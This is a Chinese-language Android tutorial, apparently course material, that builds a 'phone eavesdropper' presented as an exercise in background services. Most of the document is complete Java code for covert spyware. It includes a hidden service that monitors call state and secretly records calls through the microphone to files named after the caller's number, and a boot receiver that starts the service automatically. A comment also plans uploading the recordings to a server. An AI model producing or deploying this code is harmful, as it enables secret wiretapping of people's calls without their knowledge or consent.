Android中 服務Service 電話竊聽器
組件—服務
後台長期啟動並執行沒有介面的一個activity。
電話竊聽器:
需求:
1.沒有介面,一般使用者看不到,開機自動啟動
2.長期的後台運行,監視目前使用者的手機狀態
3.通話狀態,開啟一個錄音機,然後錄音通話記錄,儲存在sd卡中。
建立服務的步驟:
1.寫一個類,繼承系統的Service組件
2.資訊清單檔配置
3.在服務的onCreate()方法做服務初始化的操作
4.在服務的onDestroy()方法裡面做服務掃尾操作
5.開啟服務startService(intent) stopService(intent)。
一.自己寫介面控制服務的開啟和關閉
xml檔案很簡單,就兩個button開啟服務和關閉服務,不給出了。
MainActivity.java檔案,
package com.itheima.phonelistener;import android.os.Bundle;import android.app.Activity;import android.content.Intent;import android.view.Menu;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}/** * 開啟服務按鈕對應的點擊時間 * @param view */public void start(View view){//定義服務的意圖對象Intent intent = new Intent(this,PhoneStatusService.class);startService(intent);}/** * 關閉服務按鈕對應的點擊時間 * @param view */public void stop(View view){Intent intent = new Intent(this,PhoneStatusService.class);stopService(intent);}}
服務PhoneStatusService.java檔案,
package com.itheima.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.media.MediaRecorder.AudioSource;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneStatusService extends Service {public static final String TAG = "PhoneStatusService";//聲明手機電話系統狀態管理的服務類private TelephonyManager tm;//電話狀態的監聽器private MyPhoneListener myPhoneListener;//定義一個電話錄音機private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent arg0) {return null;}//Called by the system when the service is first created//當服務第一次被建立的時候執行,由系統執行的。@Overridepublic void onCreate() {//擷取手機電話狀態管理的服務。tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);//建立一個監聽器,監聽撥打電話狀態的變化。myPhoneListener = new MyPhoneListener();//開始監聽使用者的通話狀態tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}//Called by the system to notify a Service that it is no longer used and is being removed//當服務被停止的時候調用。@Overridepublic void onDestroy() {//服務停止取消電話的監聽器tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);myPhoneListener = null;super.onDestroy();}private class MyPhoneListener extends PhoneStateListener{//當手機呼叫狀態變化的時候 執行下面代碼。//state 電話的狀態//incomingnumber 來電號碼@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {//判斷我們當前手機的通話狀態switch (state) {//手機處於空閑狀態,沒有人打電話 沒有零響case TelephonyManager.CALL_STATE_IDLE:Log.i(TAG,"手機處於空閑狀態,檢查剛才是否開啟了錄音機,如果開啟了,儲存音頻到sd卡");if(mediaRecorder!=null){//8.停止錄音mediaRecorder.stop();//9.釋放資源。mediaRecorder.release();//方便記憶體回收行程回收掉資源mediaRecorder = null;//上傳音頻檔案到伺服器 。 網路請求api。刪除sd卡臨時儲存的檔案。}break;//手機零響狀態case TelephonyManager.CALL_STATE_RINGING:Log.i(TAG,"手機鈴聲響的狀態,悄悄地開啟一個錄音機,準備錄音。");//1.第一步建立一個多媒體錄音機的執行個體mediaRecorder = new MediaRecorder();//2.指定錄音機的音頻源 錄音的音源是麥克風mediaRecorder.setAudioSource(AudioSource.MIC);//3.指定這個音頻檔案的格式 。mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//4.指定錄出來的音頻檔案儲存的檔案路徑File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");mediaRecorder.setOutputFile(file.getAbsolutePath());//5.設定音訊編碼格式mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//6.準備開始錄音mediaRecorder.prepare();break;//電話接通狀態,使用者正在打電話case TelephonyManager.CALL_STATE_OFFHOOK:Log.i(TAG,"手機處於通話狀態,開始錄音,把使用者說的話都給錄下來。");if(mediaRecorder!=null){//7.開始錄音mediaRecorder.start();}break;}super.onCallStateChanged(state, incomingNumber);} catch (Exception e) {e.printStackTrace();}}}}
設定檔AndroidManifest.xml添加
二.開機自動啟動服務
設定檔AndroidManifest.xml添加
自訂開機廣播接受者,
package com.itheima.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class BootCompleteReceiver extends BroadcastReceiver {private static final String TAG = "BootCompleteReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"手機啟動完畢了,監視到了手機啟動的廣播事件,開啟後台監聽的服務");Intent i = new Intent(context,PhoneStatusService.class);context.startService(i);}}
查看sd卡路徑下可以找到.3gp檔案,就是通話的錄音檔案。